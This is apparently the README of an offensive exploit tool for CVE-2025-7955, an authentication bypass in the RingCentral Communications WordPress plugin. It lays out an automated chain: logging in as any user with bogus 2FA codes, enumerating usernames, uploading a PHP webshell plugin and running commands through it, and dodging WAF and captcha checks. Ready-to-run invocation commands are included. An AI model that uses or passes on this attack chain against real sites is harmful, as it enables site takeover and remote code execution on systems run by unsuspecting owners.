CVE-2025-7955

RingCentral Communications 1.5 - 1.6.8 - Missing Server‑Side Verification to Authentication Bypass via ringcentral_admin_login_2fa_verify Function

🚨 CVE-2025-7955 | RingCentral Communications WordPress Exploit

📝 Vulnerability Overview

CVE: CVE-2025-7955
Affected Plugin: RingCentral Communications (WordPress)
Affected Versions: 1.5 – 1.6.8
CVSS Score: 9.8 (Critical)
Type: Authentication Bypass (Missing Server-Side Verification)

The RingCentral Communications plugin for WordPress is vulnerable to an Authentication Bypass due to improper validation within the ringcentral_admin_login_2fa_verify() function. Versions 1.5 to 1.6.8 allow unauthenticated attackers to log in as any user simply by supplying identical bogus codes.

⚡ Script Functionality

This exploit automates the entire attack chain for CVE-2025-7955. It is designed to:

• Bypass authentication: The script logs into WordPress as any user (usually admin) without needing a password, exploiting the vulnerable 2FA endpoint.
• Auto-discover usernames: If the username is not provided, the script will attempt to enumerate it via the WordPress REST API (/wp-json/wp/v2/users/ID).
• Extract required tokens: Automatically fetches the CSRF protection nonce needed for plugin uploads.
• Upload a malicious plugin (webshell): Once authenticated, the script uploads a ZIP plugin containing a PHP webshell.
• Command execution via webshell: After successful upload, the script demonstrates code execution by running whoami through the shell and prints the output.
• Stealth & evasion features: Uses random delays, a rotating User-Agent list, and basic WAF/captcha detection to bypass simple protections.

🚀 Usage

1. Prepare your malicious plugin
   Ensure you have your malicious plugin ZIP file (default: Nxploit.zip) in the same directory as the script.

2. Run the exploit:

   root@kitploit:~

   python3 CVE-2025-7955.py -u http://target/wordpress [-user admin] [-id 1] [-z Nxploit.zip]
   

   • -u, --url : (required) Target WordPress site URL
   • -user, --username : (optional) Username to log in as (auto-discovered if omitted)
   • -id, --id_admin : (default: 1) User ID (admin is usually ID 1)
   • -z, --zip : (default: Nxploit.zip) Path to malicious plugin ZIP

3. Example:

   root@kitploit:~

   python3 CVE-2025-7955.py -u http://target/wordpress
